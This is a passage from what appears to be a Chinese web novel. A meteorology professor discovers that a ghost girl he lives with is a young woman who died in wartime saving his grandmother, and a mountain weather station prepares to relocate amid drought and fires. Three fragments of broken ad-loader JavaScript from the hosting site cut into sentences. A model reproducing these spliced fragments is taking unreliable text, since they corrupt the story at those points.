深知这个问题无法从根本上解决,程开济也不再多问,但比起程澍礼,他多了几分坦然和从容:“你妈妈就是当医生久了,掌控欲强,把养孩子当成治病,你不按照她预想的方向发展,她就觉得该给你下药了。” 幽默的比喻让程澍礼笑了下,程开济给自己添茶:“等明年你妈妈退休了,我带她出去走走,她就没工夫管你了。” 说完他放下茶壶,把刚才看的东西拿给程澍礼:“我晚上碰见侯明,他说气象学院马上要跟意大利极端气候实验室进行项目合作,正在招募研究员,我跟侯明推荐了你,这是项目介绍书。” 极端气候实验室,拥有全球最顶尖技术,能够精准模拟从酷热的撒哈拉大沙漠到严寒的珠穆朗玛峰的全球极端气候条件,温度随意切换,隔绝外界一切干扰,意在测试人类极端环境下的生理与心理极限,为人道主义救援工作提供科学依据。 这确实是一份很精彩也很适合他的工作,然而程澍礼却说:“我不能去。” 程开济扬了扬眉,眸中挑起惊讶:“还担心你妈那边?” 程澍礼点头,又摇摇头:“不是。” 他凝神望着脚边的医药箱,一瞬间脑子里闪过很多事情,有不能离开的理由,有林钰文的旧事,还有其他很多铺天盖地的碎片,最后停在今天无意听到的阮敬和的过往。 “爸,我想问你件事。” 正经的语气让程开济打起精神,他动了动身体:“怎么了?” 程澍礼心里有很多疑惑,他迟疑但又直接地问:“阮老爷子真的是奶奶的救命恩人吗?” “当然是了。”程开济喝一口茶润下喉咙,“你问这个干什么?” “我今天听人说,阮老爷子一辈子没出过山东,可是奶奶之前说,她是在上学的时候被人救的,那个人真的是阮老爷子吗?” “你又不是不知道你奶奶,生病久了之后,很多东西都记混了。”谈起刚走不久的林钰文,程开济的语气不由悲戚,纵然大家都安慰他老人一百岁是喜丧,可是作为孩子,失去妈妈从来不是一件和“喜”有关的事。 程开济说:“好在你奶奶是梦里走的,没受什么罪。” “但是有件事儿,你奶奶倒是记得特别清楚。”程开济笑着说。 “什么事?”程澍礼挺起背脊问。 “你两岁时候的事儿了。”回忆的匣子被打开,程开济语色悠长沉稳,“那会儿我们带着你去给阮老爷子的父母扫墓,你磕头的时候喊阮老太爷,你奶奶就说阮老爷子的父亲其实姓齐,后来你奶奶生病不能走动之后,还经常念叨,让我们过年祭祖要给齐老太爷和阮太奶奶多烧点纸钱。” 夜已深了,灯线落在两人身上。 程澍礼问:“阮老爷子随母姓?” “他们家三个孩子,大的两个随父亲姓齐,最小的也就是阮老爷子,随母姓。”程开济语气不温不火,似是在回忆,“有关阮老爷子,你奶奶真是事无巨细地记得每个细节。” 大概是提到了阮敬和,程开济忽地想起另一件事:“明天我要去隔壁学校开会,你帮我把这个东西寄给山东阮老爷子的地址。”他拿起桌上的牛皮纸袋,里面放着一张捐赠证书,和一张小小的照片。 程开济缓声说:“东西是阮老爷子遗嘱里让捐的,都是家里留下来的古董文物,捐赠证书自然也要放回他家里,你寄过去,那边有人会收。” 程开济说的话程澍礼没听进去,他的注意力完全放在照片角落中几个叠着的银元,照片照得不算清楚,但是他能分辨出来,最上面那个是之前见过的山东大扣。 他不敢妄下结论,说这两者之间有什么必然联系,但正因疑点太多,让他坚信这绝对不是巧合。 程澍礼甚至有了一个猜测——难道说那两枚银元,是阮敬和带到贵州去的? 不可能,他立刻就自我否定。 有山东大扣的人那么多,不会正好就是阮敬和。 想不明白,程澍礼大脑杂乱如麻,见他这幅失神模样,程开济以为他这几天累到了:“别想太多,赶紧回去睡觉。” 程澍礼抿了抿唇:“您早点休息。” 这一晚程澍礼一夜无眠。 卧室内,他将证书放到书柜上,从书柜后面抽出小时候画几何的白板,用记号笔在白板最中心写下阮敬和的名字,向右画出一道箭头指向林钰文,箭头上写着:救命恩人。 阮敬和的名字底下画出另一道箭头,写着山东大扣,山东大扣再分出一个箭头,写上荒山,接着又在阮敬和的上方写下山东两个字,然后打了个问号。 他坐在椅子上,凝神看了这张白板半分钟,站起来从荒山左边分出箭头指向棠又又。 然后程澍礼将细碎的线索填充上去,阮敬和和林钰文之间的关系已然清楚,却还是没有办法找到更多和棠又又有关的联系。 即便潜意识里有种难以言说的强烈的直觉,但是没有有力的证据,逻辑无法成立,只能说明这是他一场荒唐而无礼的猜测。 顺理成章的,第二天早晨,程澍礼精神不济地走出房门。 程开济出门开会,钟音去医院上班,家里就只剩他和保姆小林,小林双手在围裙上擦了几下,从厨房里走出来:“您醒啦。”林钰文去世后,钟音考虑到她家里需要用钱,便将她继续留了下来。 程澍礼坐在餐桌边,低头揉着酸涩的眼睛:“早上好。” “您中午想吃点什么吗?”已经不早了,小林要准备午饭。 “都行。”程澍礼随意道。 小林说:“那我做几道山东菜吧。” 程澍礼脑子里还想着事儿:“您看着来。” 洗漱完回房间时,程澍礼看见小林在阳台浇花,问:“我爸新养的?” 小林笑着说:“有新买的,也有程教授之前去山东带回来的,说是从阮老爷子家里移过来一株,做个念想。” 程澍礼下巴一昂,指着边上那盆光秃秃的枝子:“那是什么?” 小林也不知道,她迷惘地摇摇头:“程教授没说。” 程澍礼点点头没说什么,随即又进了卧室,将昨晚胡乱画了一番的白板拎起靠在书架,找了几本气象灾害学的书来看。 他拿着书,但是看不进去,他转头重新审视那个黑板,阳光照进屋内,空气中的灰尘上下浮游,某个念头在脑海中一闪而过。 程澍礼走过去,拿起记号笔将“救命恩人”四个字划掉,从林钰文的名字左上方分出箭头指向一个问号,问号左下方的箭头指向林钰文。 虽然林钰文得了阿兹海默,但是她能记清有关阮老爷子的所有细节,哪怕病中也能一眼认出他,那么一定也不会记错阮老爷子救她的地点。 她在逃回山东途中被人救下,而如果阮老爷子从未出过山东......想到这里,程澍礼紧抿薄唇,眼睛微微瞪大。 假如,是林钰文有意说了一个谎呢? 如果阮老爷子从未出过山东,那么真正救林钰文的另有其人,而这个人一定和阮老爷子有着莫大的联系。 可是到底为什么,林钰文要将这一切隐瞒下来? 程澍礼心中充满了千丝万缕的矛盾和迷茫,每次都是这样,看似问题有了突破口,实际上又陷入另一个死局,像是在迷雾中摸索,每个方向都充满了不确定性。 这条繁琐复杂的线索链上,究竟少了什么东西? 纠结之际,小林过来敲门:“饭好了,您现在吃吗?” 程澍礼右手撑在书柜上,手指轻动几下,呼出一口气,压下心中翻涌的情绪:“来了。” 餐桌上摆了三菜一汤,小林给程澍礼盛了碗饭:“您看还要不要加点别的?” “够了。”程澍礼淡淡道,“您坐下一块儿吃吧。” 小林摆手拒绝:“不用不用,我去收拾下卫生。” “没别人,一起吃吧。” 其实除了礼貌之外,是程澍礼已经不习惯自己一个人吃饭。他拿起手机瞥了眼传感器软件,上面显示吊脚楼从昨晚开始没有下雨。 他疑惑地微挑眉峰,小林以为他对菜不满意,连忙道:“您尝尝这个糍粑鱼和油焖大虾,还有这个拔丝地瓜,裹完糖浆刚出锅的,脆着呢。” “拔丝地瓜是山东菜?”程澍礼拿着手机问。 “是。”小林紧张地笑笑,“老太太以前就爱吃这个,但是钟主任总不让她吃。”说到这,小林牵起围裙一角抹了抹眼泪。 程澍礼的思绪飞向某个遥远的细节,棠又又最喜欢吃的拔丝地瓜,是山东菜。 又是山东。 现在所有的线索都在指明,棠又又大概率是个山东人? 一阵门铃打断他的思路,小林过去开门,快递员热情打招呼:“您好,我来取件。” 是程澍礼早上预约的快递,要把捐赠证书寄回阮老爷子的住址。 小林转头问:“您要寄什么,我帮您拿。” 程澍礼站起来:“在我书柜第二层架子,一个红色证书,辛苦您。”而后给快递员核 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对地址,快递员立马喜笑颜开:“程哥,你回来啦。” 快递员负责这一片教职工楼的业务,之前两人打过照面,程澍礼颔首笑了笑。 快递员看着这个地址,想当眼熟,他哎哟一声:“这是给阮老爷子寄东西?” 程澍礼抬起眼睛看他:“你知道阮老爷子?” “您家老太太之前经常给这个地址寄信,收件人就是阮老爷子。”快递员十分健谈,“有时候阮老爷子回信也是我送过来,我就问啊,您老怎么不直接打电话呢,老太太就跟我开玩笑说有些话怕被人听见。” 程澍礼表情从容地听他讲话。 隔一秒,快递员面露痛色地叹了口气:“一想老太太跟我开玩笑就像昨天的事儿,好好地怎么就走了呢。” 说完他想起来,慌忙向程澍礼解释:“程哥,不好意思啊。” “没事。”程澍礼安慰他,平静说:“老人家知道你这么记挂她,也会开心的。” 快递员说:“只要我们记挂着她,她就还在。” 话音刚毕,程澍礼屋内乍然一声巨响,伴着铁罐子滚动的摩擦声。 程澍礼快步走进房内,没管地上的一片狼藉,而是问小林:“没事吧,摔到了吗?” 虽然程澍礼不像钟主任那样严厉,但是小林还是心生恐慌,她拿着证书满脸歉意:“我刚拿错证书,想换一个,不小心碰到了这白板了。” “没关系。”程澍礼将倒地的白板扶正,“您把证书给快递员,我来收拾。” 饼干桶里装着的明信片散了一地,都是之前林钰文去各地给他寄回来的,程澍礼弯下腰一张张捡起,有一张白色的钻进书桌底下,仅露出磨损泛黄的半截。 他伸手捡起来,另外半边从阴影中缓缓出现,遽然暴露在秋日的阳光下,澄澈光线照亮所有,程澍礼瞳孔骤然缩紧。 程澍礼的手不停在抖,他不可置信地看着手里的白纸,被人撕掉上半部分的学生证,没有姓名,没有专业,只有左边贴着学生的入学照片,右边写着她的入学理由。 ——人人有饭吃。 而那张年代久远的黑白一寸照上,上面笑容青涩灿烂的人,是棠又又。 宛如一记重锤狠狠砸在程澍礼头顶。 有什么东西猛地冲击心脏,泛起细密尖锐的刺痛,比上次在荒山更加剧烈,他急促地大口喘气,可还是觉得空气稀薄将要窒息,渐渐眼前又一次出现梦中的那个白影。 小林又惊又慌地跑过来搀住他:“您怎么了?” 程澍礼紧紧捏住桌角,手背的青筋蜿蜒暴起,紧绷的情绪令他近乎失声:“您能不能......帮我找到奶奶葬礼的宾客名单?” “可以,您等我会儿。” 等名单的时间,程澍礼再次拿起那张学生证,隔着漫长的岁月,棠又又冲着他笑得璀璨。 眼中的不可置信慢慢被理智所替代,程澍礼看向那块白板,林钰文和阮敬和的名字中间,那个小小的问号。 小林匆忙将名单拿过来,程澍礼让她出去,关上门。 他找到当天殡仪馆门口说话的那人,拨下他的手机号,如果没有记错,他是林钰文在外地考察时收的学生,后来去了山东任教。 电话响了没人接,程澍礼唇线绷直,握了握空着的手掌。 直到第五声:“您好,哪位?” “季叔叔,我是程澍礼。”程澍礼控制住情绪,努力让自己听上去很冷静,撒了个不真不假的谎,“我奶奶生前遗愿是想给阮老爷子修家谱,但是没留下什么信息,我爸让我联系您,还记不记得阮老爷子去世的家人都叫什么?” 对面反应了会儿:“是澍礼啊,你等我找找啊。” 他边找边说:“我早年跟你奶奶去山东考察,有幸拜见过阮老爷子一次,当时你奶奶跟他聊天随口提了几句,我当时觉得这一家子满门忠烈,打心底敬佩,所以就把他们名字记下来了,没想到还真有用,哦找到了。” “阮老爷子是随母姓,他母亲叫阮秀青,他父亲姓齐,叫齐兆麟,阮老爷子大哥和姐姐都是随父姓,大哥叫齐骁易,他姐姐......他姐姐叫什么来着......” 电话里默然几秒,程澍礼心脏吊起来,屏息听着对面翻看纸张的声音。 仿佛过了一个世纪那么长,对面终于说:“他姐姐叫齐叙欢。” 程澍礼眼眶蓦然一红。 几十年前的齐叙欢枯骨长眠荒野,跨越轮回生死,站在孤独而温暖的灵魂里,终于以棠又又的名字,平静站到他的面前。 “但那学生证只有半截,而且沾满了血,老奶奶说上面就剩两个又字。” “我看旁边的野棠花开的不错,就拿来当姓啦。” 所以,我叫棠又又。 原来,你叫齐叙欢啊。 31. 第三十一场雨 程澍礼第一时间赶回棋山,抵达山脚时,已经日落西山,北斗七星亮起微光。 阿尧刚从吊脚楼里出来,猝不及防撞见他,吓了一大跳:“程教授。你怎么这么早就回来了?” 程澍礼眸光闪了闪:“事情处理完就回来了,你怎么在这?”下午阿尧发过消息说今天要去赶集,可能过不来。 阿尧挠头说:“本来是要去赶集,但是我结婚那天酿的的玉米酒今天开窖,我阿哒让给寨子里大家都送点。” “你刚是去吊脚楼送酒?”程澍礼眼神一凛。 “对呀!”阿尧乐呵呵地答,“我知道您不喝酒,就送了一小瓶,这是咱们有仙寨的传统,图个吉利。” 话落,程澍礼有种不好的预感,他加快脚步走向吊脚楼,不忘问阿尧:“你点香了吗?” 见他面色焦急,阿尧边走边说:“我想着反正来了,就顺手点了根。” 正说着,两人走上台阶,程澍礼倏然停在门口,他看眼小门又看看阿尧,神情被黄昏的暗影所淹没,阿尧问:“程教授怎么了?” “没事。”程澍礼对他摇摇头,“你先回去吧。” 说完他推门而入,很快又将门关上,将一脸无知的阿尧关在门外。 吊脚楼里,四处昏暗,仅有的微弱天光漫过了窗棱,把室内照得灰蒙蒙的。 程澍礼一眼看见地上的棠又又,她侧躺在那张大床旁边,一动没动。 程澍礼先是赶紧掐掉桌上的线香,然后走过去,低头看了她几秒,他盘腿坐下来,借着惨淡的光线观察她。 棠又又闭着双眼,面容平和安稳。 程澍礼不确定她是睡着了,或是因为点香时有酒造成的他不知道的后果。 屋外的黄昏一寸一寸暗下去,夜幕从山谷里升起来,月牙悄悄爬上山尖,嵌在深蓝的天空,连亘群山宛如一副淡雅的水墨画。 没有开灯,程澍礼坐在黑暗中,垂首看着地上的棠又又,他表情静沉沉的,但又和平时的轻描淡写不太像,似乎是不忍心,又似乎,是在重新认识这张早已记在心间的脸。 到了第三天,棠又又依旧长睡不醒,而他睡觉时外面也没有下雨,程澍礼猜测这大概就是那个副作用。 为了不让棠又又被踩到,程澍礼这几天没让一二三四五六进屋,小狗们躲在大顺的肚子底下,十二目对望,面面面面面面相觑,呆呵呵地嚼狗粮。 晚上工作时,程澍礼不定期过来看她一眼,偶尔听见声音,以为她醒了,结果棠又又只是换了个睡姿,从侧躺变成平躺,睫毛在眼下投出淡淡阴影,一副很安宁恬静的模样。 程澍礼一手拿书站在她旁边,看着她的睡颜,忽而敛眉笑了下。和前几晚一样,他拿起枕头放到地上,躺下来睡在棠又又身边。 屋内只留了厨房的一盏小灯,程澍礼侧卧着看她,用目光描摹她的眉眼,不舍地看了一遍又一遍。 他想起那张黑白的老照片,胸口酸涩发紧。 夜晚潺潺,林间微风。 程澍礼觉得这种感觉很奇妙,有一个自称喝多了会变成妖怪吃人的鬼,在他旁边安安静静的睡觉。 第七天的时候,晨曦渗透进吊脚楼,棠又又醒过来,她朦朦胧胧睁开眼睛,感觉有什么东西悬在头顶上方,影子轻拂过她的面庞。 大眼睛黄鼻尖毛茸茸的红色小醒狮,正咧嘴冲着她笑,模样憨态可掬。 怔怔看了几秒后,棠又又眯了眯眼睛,鼓起嘴巴,朝着挂件轻吹了口气,看着它一晃一晃,她开心地笑出来。 棠又又坐起来时,程澍礼恰好推门而入,对视的一刹那,显然双方都愣了下。 程澍礼温声询问:“醒了?” 棠又又看着他手中的东西:“你拿的什么?” 程澍礼说:“今天中秋,诺苏送了一盒月饼,吃吗?” 棠又又点头:“吃。” 她一醒过来,天地间就开始下起小雨,雨水摇起层层碧浪,仿佛在庆贺这场来之不易的降水。 程澍礼在厨房切月饼,菜刀一下一下落在砧板上,棠又又揉了揉自己脸颊,问:“我睡了多久?” 厨房里的人不假思索道:“七天又十三个小时。” 棠又又哦了声,还有点将醒未醒的懵,她直挺挺坐在地上,睁着眼睛打了个哈欠。 程澍礼将两块月饼切成小块装盘,端到餐桌上,点好线香。 棠又又走过去坐下,迫不及待用手指捻起一块放进嘴里,香甜的味道,让她满足而惬意地扬了扬眉毛。 这是第一次,程澍礼没有要求她注意吃饭礼仪,而是静静地看着她吃完,眼中闪烁着看不真切的情绪。 也不再强调什么食不语寝不言了,程澍礼主动问她:“好吃吗?要不要再来一块?” “味道一般。”棠又又摇了摇头,然后她又说:“听说北京有种很有名的糕点叫稻香村,那个好吃吗?” 没说好与不好,程澍礼道:“下次带你尝尝。” 棠又又嘴里还嚼着糕点,像个鼓鼓囊囊的小松鼠,微昂起脸朝他笑了一下。 吃完之后,棠又又感觉魂体在逐渐苏醒,有一点力气了。 她意犹未尽地舔舔嘴巴,问程澍礼:“你想问我什么?” 闻言,程澍礼目色微愕:“什么?” “虽然你没有说,”棠又又身体向前一伸,一根手指抵上自己的侧脸,脸颊被戳的凹进去一块:“但你这里,明明写着‘我有好多问题想问棠又又’。” 她皱下鼻子:“不然你哪有那么好心送我小醒狮。” 顿了顿,程澍礼嘴角漾起弧度:“喜欢吗?” 棠又又眼睛朝天,故作矜持地想了下:“要是能看见真的就更好了。” 程澍礼说:“想看就能看到。” 说完气氛陡然默了一瞬,棠又又没接这句,转回刚刚的话题:“你本来想问什么?” 程澍礼犹豫两秒,想了想,先问了别的:“点香时有酒的后果,就是你会沉睡很长时间?” “老毕摩只说了不能,但是没说为什么,而且以前也没有遇到过这种情况。”棠又又撇了撇嘴,“不过神奇的是,我发现这次睡着之后,又想起来一些细节。” 程澍礼表现得淡然:“什么细节?” 棠又又说:“原来之前从我脑子里一闪而过的男人,就是他搭的那个林间小屋,而且他举着铲子往我身上拍,不是想伤害我,而是想把我埋起来。” “可能他路过看见我的时候,我已经死了,还一不小心曝尸荒野,人家好心就把我埋进土里了。” 虽然不知道为什么这样,但不失为一种办法,于是棠又又提议:“要不下次点香时,你再放瓶酒,我继续睡一觉,看还能不能想起别的。” “不用了。”程澍礼眼底一片晦暗。 “什么不用了?”棠又又看他突然这么正经,有点摸不准,“你怎么怪怪的?” 程澍礼叫她:“棠又又。” 棠又又不耐烦的:“啊?” 程澍礼看着她,缓慢开口:“你的真名......叫齐叙欢。” 棠又又懵怔了几秒,视线偏了下又转回来,沉默地看着程澍礼,最后她不解地摇了摇头:“不记得。” 听见这三个字,程澍礼迟迟没有说话,他的脸上表现出不可言说的愧疚,歉意和自责,空气沉重,他拿起桌上的一罐可乐,拉开拉环倒进马克杯,冒着泡的汽水滋滋作响。 棠又又抱着杯子低头喝了一口,屋里响起程澍礼低沉而漫长的声音。 他将这几天发生和听到的事一字不落地告诉了她,包括她在抗日年间为救林钰文牺牲自己的事,包括她是山东人,以及她的家人。 她的父亲为了找她,带病在外奔波数年,回到山东后一病不起,她最小的弟弟,继承父亲遗志,成了当地有名的粮食大亨,热衷慈善,饥荒年代开仓放粮救了很多人,但是一生没有娶妻生子。 说完,屋里陷入寂静,程澍礼抬眼看了棠又又一眼,她坐在那里,回应他的是一个木然的表情,好似听了一个和自己无关的故事。 程澍礼问:“你没有想问的吗?” “没有。”棠又又再次轻轻摇头,“你说的这些事情,我没有太大感觉。” 她抬眸看向程澍礼:“除了这些天我记起来的那些碎片,我已经失去记忆太久了,所以对于你说的这些人和事,完全是陌生的,如果硬要说有什么感觉的话,我觉得他们......有点可怜。” 话是这么说,可程澍礼还是清晰地看见,她的眼尾不经意流露出了一抹伤心。 棠又又将小狗马克杯放在桌上,低下头抠自己手指头,她瓮声说:“可能没有记忆的鬼就是这样的吧。” 程澍礼说:“没有记忆就创造新的记忆。” 棠又又猛地抬头,程澍礼安静地注视着她,语气温柔道:“你想去看大江大河,就去看大江大河,想去草原骑马,就让大顺从今天开始减肥,想看日落,就去看最好看的日落,想吃好吃的,就去吃,中国九百六十多万平方公里的土地,比你在学校里看见的更大更美好,以后你走出棋山的每一步,去到的每一个新地方,新认识的每一个人,都能成为你新的记忆。” 他说:“以前的记忆是碎片,但从今往后的春秋冬夏,你的记忆都是圆满的。” 棠又又凝望着他认真的脸,心口位置从未有过地动了一下,她抬手轻轻覆上去,毫无意外发现是错觉,但是那错觉仍在灵魂深处源源不断地重现。 好像是,续命。 她唇角勾起笑了下,但是眼底忧伤:“我有点难过。” 程澍礼眼睛微睁:“为什么?” 棠又又问:“程澍礼,你会老吗?” 程澍礼说:“会啊,但你应该还是这么年轻。” 棠又又说:“可是如果你老了,死了,我又会很无聊的。” “我奶奶以前经常说,人生就是一段旅程,身边人都是来来去去,大多数人都只能陪你走一段路,直到生命尽头。”程澍礼眼里含着笑意,“科学研究人类的平均寿命是78.6岁,但我会努力活到90岁,陪你走六十年的路,至少这六十年,我保证不会让你感到很无聊。” 棠又又嘴唇动了动,声音很轻:“可是如果你死了,我会难过的。” 程澍礼听见了,他眸中闪过某种情绪, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 静默许久,棠又又的难过越来越明显,他笑着安慰:“等我老了,我们也还一起喝快乐水,好吗?” 棠又又埋着脑袋,轻轻点了下头。 外面日色明媚,照耀着又湿又绿的大地山林,明光探过吊脚楼墙角的缝隙,落下细碎的光点,一缕缕温暖了整个吊脚楼。 ...... 晚上,程澍礼吃完饭,整理这段时间的工作数据。 从请假开始到今天,因为旱情,烂木等山区一共报告了三十七起火情,且都在地势险峻植被复杂的地带,好在发现及时,被村民们联手扑灭。 前几次的火情扑灭报告引起了程澍礼的注意。 ——除去村民们采取的救火措施,报告末尾提到了一句,当天该地区附近有少量降水,虽不至于将火彻底浇灭,但在一定程度上加快了灭火。 程澍礼快速将几份报告粗扫一遍,发现一周前的报告上都有这么一句,而近一周内的则没有,他很快锁定目标,回头看向正在吃中秋糍粑的棠又又。 糍粑太腻口,她拿起茶盏送到嘴边准备喝一口茶,却突然不知为何,茶盏恍若无物般穿过魂体,一声清脆的碎裂声,茶盏落在地面摔得四分五裂。 棠又又惊了下,一手捏着半块糍粑,一手保持原样停在半空,用上眼角瞄了瞄程澍礼的反应。 程澍礼走过来:“烫到没?” 棠又又心虚但放恣:“我没有痛觉。” 程澍礼蹲下来收拾瓷片:“我问地。” 棠又又冲他吐个舌头做个鬼脸,然后一口吞下糍粑,一溜烟跑到小床上躺着去了。 夜幕昏昧,孤星几点,秋蝉的叫声一声起一声落。 临睡前,棠又又忽然说:“接下来有段时间我可能不在。” 程澍礼问:“你去哪里?” “秘密。”棠又又卖了个关子,她翻了身,月光落在她枕边,“不过如果你发现门口放了什么东西,那就是我回来看你了。” “不要。”程澍礼果断拒绝。 棠又又眉头锁起来,非常不忿的语气:“你为什么不要?” 因为放东西必然要用到魂力,程澍礼不想她太轻易浪费,他说:“你攒着你的魂力,下次手稳点,省得又摔我一个茶盏。” 棠又又嚷嚷说:“一个茶盏你这么小气!” 程澍礼漫不经心的:“那一个茶盏三千块。” “?” 死寂的尴尬之后,棠又又“蹭”的一下坐起来,隔着帘子她惊呼出声:“那小玩意儿值一千罐可乐?!” 程澍礼说:“准确说是一千零三十三罐。” 棠又又拍拍自己胸口,今晚之后她开始习惯这个动作,这么多快乐水给她心疼坏了,她躺下去叹了声气:“还是喝可乐省钱啊。” 程澍礼闭着眼睛不说话,没告诉她杯子里的茶水更贵。 夜色愈来愈深,雨水的湿气扑在透明的玻璃,渐渐凝固,棋山已经到了结霜花的季节。 可能七天的睡眠太久,棠又又有些睡不着,她盯着墙边的一道斜影:“程澍礼。” 程澍礼嗯了一声。 “你得要。”棠又又低声说,“小孩子不能拒绝大人的礼物。” 程澍礼被她突如其来的严肃激起一阵心慌,好像有什么东西抓不住,但是黑夜静宁,他还是应下来:“好。” 那晚之后,棠又又真的很长一段时间没有回来,连一二三四五六也没有带走。 但它们已经学会了捣蛋,甚至连番上阵咬断了大顺的缰绳,避开程澍礼的视线,带着它一路摸索着到了卓客家里。 卓客给新种的花都竖起了高高的围栏,一二三四五六张大嘴巴仰头看了看,一个接一个地从围栏空格里钻进去,大顺低头等着它们钻完,看了一眼,一蹶子将围栏踹翻。 等卓客发现的时候,为时已晚, 整个山间回荡着他撕心裂肺的鬼哭狼嚎:“塔塔开!!!”(战斗吧!!!) 这边松针林,棠又又坐在山顶的石头上,嫌弃地掏了掏耳朵,忍住了没跳过去打爆他的头。 程澍礼牵着大顺,带着一二三四五六步行回家。 路过诺苏的小卖部,他停下来买了罐可乐。 诺苏看他最近每天都来,只买可乐也不买别的,满是戏谑地说:“程教授最近这么喜欢喝可乐啊?” “对,喜欢。” 他说完,牵起啃草皮的大顺,跟上前面自动成列的一二三四五六。 今天放在门口的,是两个饱满的小橡果。 程澍礼弯腰将东西捡起来,把可乐放在同样的位置。 他将小橡果放进饼干桶里,里面还有几片银杏叶和一个大大的松果。 第六份礼物,是七颗成熟的榛子,口炸开来,露出白色的果仁。 程澍礼将榛子剥开,给一二三四五六和大顺都喂了一颗,然后仔细收好果壳。 第九份礼物,一朵刚摘下来的鸡蛋花,瓣边通白,中间晕开金黄,莹莹散发清香。 程澍礼将它放在棠又又的床头。 第十一份礼物,一个红彤彤的大苹果。 程澍礼咬了一口,很甜。 32. 第三十二场雨 抗击旱灾防范山火的同时,棋山终于迎来了一件期待已久的大事——搬山。 同时市政.府下发调令,同意五子顶气象站所有人员编制迁回市气象局,限期一个月内提交相关材料,完成迁站事宜。 老金一读完文件内容,办公室里几人欢呼雀跃,全站唯一一位失业人员——蔡叔,他坐在食堂门口的凳子上,捧着卓客从山下买来的羊肉粉,稀里呼噜喝了一口汤,热汤流进肚子里,浑身舒畅。 蔡叔咂了咂嘴:“香呐!” 文件颁发的两天后,老金请来当地颇有名望的毕摩,为迁站搬山做法祈福。 五子顶气象站的空地,毕摩身披法衣头戴法帽,不怒自威而气场强大,他端坐在神座之前,手摇法扇开始诵经。 旁边台阶的长凳上,梁晶晶和卓客翘着二郎腿嗑瓜子,卓客啐一口瓜子壳:“这一趟市里给报销吗?” 梁晶晶咔嚓嗑俩瓜子:“报的,老金找了个好名头。” 卓客转头问:“啥名头?” 梁晶晶清了清嗓子:“为弘扬烂木等传统民族文化,推动当地种植业向旅游业和服务业多元化经济结构转型,申请举办乡土文化深度体验活动。” 卓客恍然大悟地一拍大腿:“诶那我给狗买狗粮的事儿,是不是也能说是为保护气象站重要财产和维持仪器精准运行,聘请专业安保并升级防护措施的战略性保障经费啊?” “重要财产?”梁闪闪左顾右看地扫了一圈,“你说那几个破风箱?” 卓客恨铁不成钢:“当然是程教授了!” 梁晶晶切了声:“程教授要你保护?但凡他掉一根头发,你明天就得光着上山。” 这话一出,卓客立马呵斥:“你这姑娘怎么不害臊呢!” 梁晶晶睨他一眼:“你害臊你偷阿尧瓜子吃?” 被戳穿的卓客登时脸红,他一把抢走梁晶晶手里的瓜子:“瓜子还我!”动作一点不拖泥带水。 梁晶晶骂:“狗东西!” 一二三四五六猛地耳朵齐竖,眼睛咕噜噜转。 气象站屋前鼓乐齐鸣,到处吵嚷喧嚣,屋后面倒是风景秀丽静好。 仪式进行到一半,老金将程澍礼叫到一旁。 两人并肩站立,眼前是万里崇山,视野开阔而明亮,能看得见飘在朝瑶顶上的浮云。 凉风吹过,老金口吻郑重地说:“程教授,实不相瞒,把你的那份棋山天气异象分析报告交上去之后,我又仔细拜读了几遍,确实数据严谨逻辑缜密,不是我们这种水平能相比拟的。” 程澍礼谦虚地说:“您过奖了。” “但有一点我不懂。” “你说。” 老金看他一眼,踌躇几秒后问:“您的那份报告里,最后提到的不确定的部分是什么?” 闻言,程澍礼无声笑了下,似乎这个问题在意料之中。 他没有犹豫:“虽然人类文明已经扩展到各个领域,但我们仍要承认科学的有限性,自然界中仍有未解的谜题,人类无法掌控全部规律,当然,科学在不断进步,科研工作者也在不断拓宽认知的深度和广度,我们终有一天能知道这个不确定到底是什么。” “但我想正是因为这些不确定,所以才警示我们,要尊重和敬畏一切未知和生命。” 风卷残云满目金光,毕摩祈福的毕声响彻山谷,老金释然地笑了笑:“说到底还是我当初能力不足又过于心急,所以才做出了那些荒诞的事。” 他看向这片困住他半生的大山,沧桑目光钦佩不已:“期待您真正揭秘的那一天。” ...... 屋前,毕摩仪式还在继续,卓客和梁晶晶被日头晒得快要睡着,阿尧背着工具包颠颠地跑回来,因为刚扑完火,他脸上被抹了几道黑灰。 卓客递了瓶水给他:“今天上午又是哪里吗?” 阿尧一口灌下半瓶水,然后用胳膊一揩脸颊汗珠:“宝塔峰上的那片老树林,前期巡山的人看那边太大太深,就没敢进去检查,好在我跟阿贵哥发现的时候,就烧起来一小片枯草丛,又下了场小雨就扑灭了。” 卓客小声嘀咕:“咋到处下小雨天还这么干呢?” “宝塔峰?”梁晶晶吐掉瓜子壳,“这不是就是后面挨着咱们的那山头吗?” “对,再往后就是棋山小学了。”阿尧又喝了口水。 梁晶晶语气疑惑问:“那为什么当初棋山村民在这定居的时候,不把那宝塔峰也一并用上啊?” 卓客接话道:“因为宝塔峰是烂木等山脉最高最崎岖的山头,首先是高,而且有许多国家级保护珍惜植物,非常不适宜居住,其次是地形特殊,宝塔峰会出现各种意想不到的涡流和越山气流,加上山上还长着大量的华山松,华山松种子含油率高达42%,一旦起火,火借风势将松林点燃,后果会不堪设想。” 比起卓客,梁晶晶到底来得晚,不如他这么了解,听完这番解释后点了点头:“那是要注意点。” “哦对了!”喝完一整瓶水,阿尧这才想起卸掉身上的工具包,从侧边夹层摸出一把黑漆嘛乌的榛子。 他咧着大白牙笑:“都是熟的,你们尝尝,可香了。” 卓客看见上面烟熏火烤的痕迹:“玩火尿床啊!”说话间,梁晶晶已经剥开一个送进嘴里。 阿尧急急解释:“不是!前段时间有片野榛子林被火烧了,掉在草里我捡的!” “那还成。”卓客看梁闪闪吃了没被毒死,也捡了几个边吃边看那边的仪式。 仪式结束的时候,老金和毕摩寒暄一番。 毕摩话里隐忧:“卦相异兆,或有大灾啊。” 老金叹气:“是啊,这场干旱越来越严重了。” 聊了一会儿后,毕摩赶着去另一户人家,老金准备亲自将人送下山,程澍礼盯着他的膝盖,说:“我来送吧,正好我要下山。” 老金这才记起时间,每天中午十二点程澍礼都要准时下山。 他答应:“那就麻烦程教授了。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 程澍礼背起毕摩的法器东西,和毕摩一起走出气象站,那毕摩虽然年纪稍长,但是步伐坚实沉稳,像是从山里长出来的力气。 